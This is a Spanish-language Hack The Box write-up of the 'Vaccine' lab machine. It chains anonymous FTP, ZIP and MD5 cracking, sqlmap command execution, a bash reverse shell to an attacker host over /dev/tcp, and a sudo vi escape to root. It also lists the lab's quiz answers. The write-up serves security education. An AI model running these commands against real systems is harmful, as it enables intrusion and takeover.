⭐ Vaccine – Hack The Box Write-up ⭐
| Propiedad | Valor |
|---|---|
| Dificultad | Media |
| SO | Linux |
| IP | 10.129.x.x |
| Categoría | Hack The Box – Tier 2 |
| Etiquetas | FTP Anonymous, ZIP Cracking, John the Ripper, MD5, SQL Injection, PostgreSQL, sqlmap, RCE, SSH, Sudo, Vi |
Resumen
Vaccine es una máquina Linux de Hack The Box centrada principalmente en la enumeración, cracking de contraseñas, SQL Injection y escalada de privilegios.
Durante la enumeración inicial encontramos un servicio FTP que permitía acceso anónimo. En él se encontraba un archivo backup.zip protegido mediante contraseña.
Utilizando John the Ripper conseguimos crackear la contraseña del ZIP y acceder a su contenido.
Dentro del backup encontramos el código fuente de la aplicación web, donde se encontraba un hash MD5 correspondiente a la contraseña del usuario admin.
Tras crackear este hash obtuvimos las credenciales necesarias para acceder al panel web.
Una vez autenticados, descubrimos que el parámetro search era vulnerable a SQL Injection. Utilizando sqlmap identificamos PostgreSQL como
sistema de base de datos y conseguimos ejecución de comandos mediante --os-shell.
La ejecución de comandos nos permitió acceder inicialmente como el usuario postgres. Posteriormente encontramos las credenciales de PostgreSQL en
el código de la aplicación y pudimos conectarnos mediante SSH.
Finalmente, mediante sudo -l descubrimos que el usuario postgres podía ejecutar vi como root. Aprovechando la capacidad de vi para
ejecutar comandos del sistema, conseguimos una shell como root y obtuvimos la flag final.
Conceptos Clave
- Enumeración de servicios
- Acceso anónimo mediante FTP
- Cracking de archivos ZIP protegidos
- John the Ripper
- Cracking de hashes MD5
- Autenticación web
- SQL Injection
- PostgreSQL
- Stacked Queries
- Ejecución remota de comandos
- sqlmap
- Reverse Shell
- SSH
- Sudo misconfiguration
- Privilege Escalation mediante
vi
Flujo del Ataque
- Enumeración de puertos y servicios
- Descubrimiento de FTP en el puerto 21
- Acceso anónimo al servidor FTP
- Descarga de
backup.zip - Obtención del hash del ZIP con
zip2john - Cracking del ZIP mediante John the Ripper
- Extracción de los archivos del backup
- Descubrimiento del hash MD5 del usuario
admin - Cracking del hash MD5
- Acceso al panel web
- Descubrimiento de SQL Injection en
search - Explotación mediante sqlmap
- Obtención de OS Shell
- Acceso como
postgres - Descubrimiento de credenciales de PostgreSQL
- Acceso mediante SSH
- Enumeración de privilegios mediante
sudo -l - Abuso de
viejecutado como root - Obtención de una shell como
root - Obtención de la root flag
Comprobación de Conectividad
Comenzamos comprobando que la máquina objetivo es accesible:
ping 10.129.x.x
Enumeración
Escaneo de Puertos
Utilizamos Nmap para identificar los puertos abiertos y detectar los servicios y versiones:
nmap -sCV -q 10.129.x.x

El escaneo mostró tres servicios principales:
| Puerto | Servicio | Información |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 22 | SSH | OpenSSH 8.0p1 |
| 80 | HTTP | Apache 2.4.41 |
El resultado de Nmap también confirmó que el servidor FTP permite acceso anónimo:
ftp-anon: Anonymous FTP login allowed
Acceso Anónimo mediante FTP
Nos conectamos al servicio FTP:
ftp 10.129.x.x
Utilizamos el usuario:
anonymous
Una vez dentro, enumeramos el contenido:
ls
Encontramos:
backup.zip
Descargamos el archivo:
get backup.zip
El archivo estaba protegido mediante contraseña.

Cracking del Archivo ZIP
Generación del Hash
John the Ripper incluye la herramienta zip2john, que permite extraer la información
necesaria del archivo ZIP y convertirla a un formato que John pueda utilizar para realizar el cracking.
zip2john backup.zip > hash.txt

Comprobamos que el hash se ha creado correctamente

Posteriormente utilizamos el diccionario rockyou.txt:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
La contraseña obtenida fue:
741852963

Podemos comprobarla extrayendo el ZIP:
unzip backup.zip

El archivo contenía:
index.phpstyle.css
Descubrimiento de Credenciales
Al revisar index.php encontramos la lógica de autenticación:
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3")

El uso de la función:
md5($_POST['password'])
indica que la contraseña del usuario admin está almacenada como un hash MD5.
Guardamos el hash y utilizamos John the Ripper:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt admin_hash.txt

Utilizamos John the Ripper para realizar un ataque de diccionario contra el hash MD5, recuperando la contraseña original en texto plano.

Obtuvimos la contraseña:
qwerty789
Credenciales:
admin:qwerty789
Acceso al Panel Web
Utilizamos las credenciales obtenidas para iniciar sesión en la aplicación web.

Una vez autenticados, encontramos un campo de búsqueda:
Search
Al realizar una búsqueda, observamos que el parámetro aparece directamente en la URL:
http://10.129.x.x/dashboard.php?search=test
Identificación de SQL Injection
Probamos una comilla simple:
http://10.129.x.x/dashboard.php?search=%27

El servidor respondió con un error de PostgreSQL:
ERROR: unterminated quoted string at or near "'"
Este comportamiento indica que el valor introducido está siendo incorporado directamente
en una consulta SQL.
El código encontrado posteriormente en dashboard.php confirma la vulnerabilidad:
$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

El parámetro search se concatena directamente dentro de la consulta SQL sin utilizar
consultas parametrizadas.
Explotación mediante sqlmap
Como la aplicación requiere autenticación, utilizamos la cookie de sesión que la podemos encontrar en las herramientas de desarrollador del navegador
PHPSESSID.

Ejecutamos:
sqlmap -u "http://10.129.x.x/dashboard.php?search=test" --cookie="PHPSESSID=<SESSION_ID>" --os-shell --batch

Durante las pruebas, sqlmap identificó PostgreSQL como el sistema de gestión de bases de datos.
Entre los tipos de inyección identificados encontramos:
- Boolean-based blind
- Error-based
- Stacked queries
- Time-based blind
Uno de los resultados más importantes fue:
PostgreSQL > 8.1 stacked queries
sqlmap consiguió posteriormente utilizar el mecanismo:
COPY ... FROM PROGRAM ...
para obtener ejecución de comandos en el sistema operativo.
Finalmente obtuvimos:
os-shell>

Adicionalmente, si lanzamos sqlmap con el parámetro help, también obtenemos información sobre os-shell

Reverse Shell
Desde el os-shell conseguimos ejecutar comandos en el sistema como el usuario
postgres.
Para obtener una shell interactiva utilizamos una reverse shell hacia nuestra máquina Kali.
En Kali iniciamos el listener:
nc -lvnp 443

Y desde el os-shell ejecutamos:
bash -c "bash -i >& /dev/tcp/10.10.14.39/443 0>&1"

La conexión nos proporcionó una shell como:
postgres@vaccine:/var/lib/postgresql/11/main$

La reverse shell inicial no disponía de una TTY completa, por lo que algunas operaciones, como sudo, no funcionaban correctamente.
En lugar de continuar con la estabilización de la reverse shell, utilizamos las credenciales encontradas en la aplicación para conectarnos directamente mediante SSH.
Credenciales de PostgreSQL
Al revisar /var/www/html/dashboard.php encontramos las credenciales utilizadas por la aplicación para conectarse a PostgreSQL:
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");


Credenciales obtenidas:
postgres:P@s5w0rd!
Acceso mediante SSH
Utilizamos las credenciales para acceder directamente mediante SSH:
ssh postgres@10.129.x.x

Encontramos que el programa que el usuario postgres puede ejecutar como root utilizando sudo es vi

Una vez autenticados, comprobamos el contenido del directorio:
ls
Encontramos la flag de usuario:
user.txt
La flag de usuario se obtuvo mediante:
cat user.txt

✅ User flag obtenida.
Escalada de Privilegios
Enumeración de Sudo
Comprobamos qué comandos puede ejecutar el usuario postgres mediante sudo:
sudo -l
El sistema mostró:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Esto significa que postgres puede ejecutar el editor vi con privilegios
de root.
Abuso de Vi
Ejecutamos:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Esto abre vi con privilegios de root.
No necesitamos modificar el archivo pg_hba.conf.
Dentro de vi, utilizamos:
:!bash
El comando :! permite ejecutar comandos del sistema desde el editor.
Al ejecutar bash, obtenemos una shell con los privilegios con los que se
está ejecutando vi.
Como vi fue ejecutado mediante sudo, la shell obtenida tiene privilegios
de root.
Comprobamos nuestra identidad:
whoami
Resultado:
root
También podemos observar el prompt:
root@vaccine:/var/lib/postgresql#
Esto confirma que la escalada de privilegios ha sido exitosa.

Obtención de la Root Flag
Una vez obtenida la shell como root, accedemos al directorio /root:
cd /root
Enumeramos su contenido:
ls
Finalmente leemos:
cat root.txt
✅ Root flag obtenida con éxito.


Preguntas de Hack The Box
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Besides SSH and HTTP, what other service is hosted on this box? | FTP |
| 2 | What username can be configured to allow login with any password? | anonymous |
| 3 | What is the name of the file downloaded over this service? | backup.zip |
| 4 | What script generates a crackable hash from a password-protected ZIP? | zip2john |
| 5 | What is the password for the admin user? | qwerty789 |
| 6 | What option can be passed to sqlmap to try to get command execution via SQL Injection? | –os-shell |
| 7 | What program can the postgres user run as root using sudo? | vi |
Herramientas Utilizadas
| Categoría | Herramientas |
|---|---|
| Reconocimiento | ping, nmap, navegador |
| Enumeración | nmap, FTP, enumeración manual web |
| Credential Access | zip2john, John the Ripper, rockyou.txt |
| Explotación | SQL Injection, sqlmap, –os-shell |
| Remote Access | SSH, Netcat |
| Privilege Escalation | sudo, vi, Bash |
| Post-Explotación | Linux commands, filesystem enumeration |
Vulnerabilidades y Técnicas
| Vulnerabilidad / Técnica | Descripción |
|---|---|
| Anonymous FTP | El servicio FTP permite acceso anónimo y expone un archivo de backup. |
| Password-Protected Backup | El archivo backup.zip contiene información sensible protegida únicamente mediante una contraseña débil. |
| Weak Password / Hash Cracking | John the Ripper permite recuperar contraseñas mediante ataques de diccionario. |
| SQL Injection | El parámetro search se concatena directamente en una consulta SQL vulnerable. |
| Command Execution | La SQL Injection permite utilizar sqlmap para obtener ejecución de comandos en el sistema. |
| Sudo Misconfiguration | El usuario postgres puede ejecutar vi como root. |
| Vi Shell Escape | La función :!bash de vi permite obtener una shell con los privilegios de root. |
Lecciones Clave
- La enumeración de servicios es fundamental antes de intentar explotar una máquina.
- El acceso FTP anónimo puede exponer información sensible.
- Los archivos de backup deben protegerse adecuadamente.
- Las contraseñas débiles pueden recuperarse mediante ataques de diccionario.
- Los hashes MD5 no deben utilizarse para almacenar contraseñas.
- Las consultas SQL deben utilizar consultas parametrizadas.
- Las credenciales almacenadas directamente en el código fuente pueden comprometer otros servicios.
- Las reglas de
sudodeben limitarse estrictamente a las acciones necesarias. - Los editores como
vipueden permitir escapes hacia una shell. - Una mala configuración de sudo puede convertirse directamente en una escalada a root.
Conclusión
Vaccine demuestra cómo varias vulnerabilidades y malas prácticas aparentemente independientes
pueden encadenarse hasta conseguir un compromiso completo del sistema.
El ataque comienza con una configuración insegura de FTP que permite acceder anónimamente a un
backup. El cracking del archivo permite descubrir credenciales web, que posteriormente permiten
acceder a una aplicación vulnerable a SQL Injection.
La SQL Injection proporciona ejecución de comandos y acceso inicial como postgres.
A continuación, unas credenciales expuestas en el código de la aplicación permiten obtener acceso
SSH estable.
Finalmente, una configuración incorrecta de sudo permite ejecutar vi como
root y escapar hacia una shell privilegiada.
Resultado: compromiso completo de la máquina y obtención de las flags de usuario y root.
⚠️ Aviso Legal
Este contenido es exclusivamente educativo.
Todas las pruebas fueron realizadas en un laboratorio controlado de
Hack The Box.
No utilices estas técnicas contra sistemas, aplicaciones o redes sin autorización explícita.
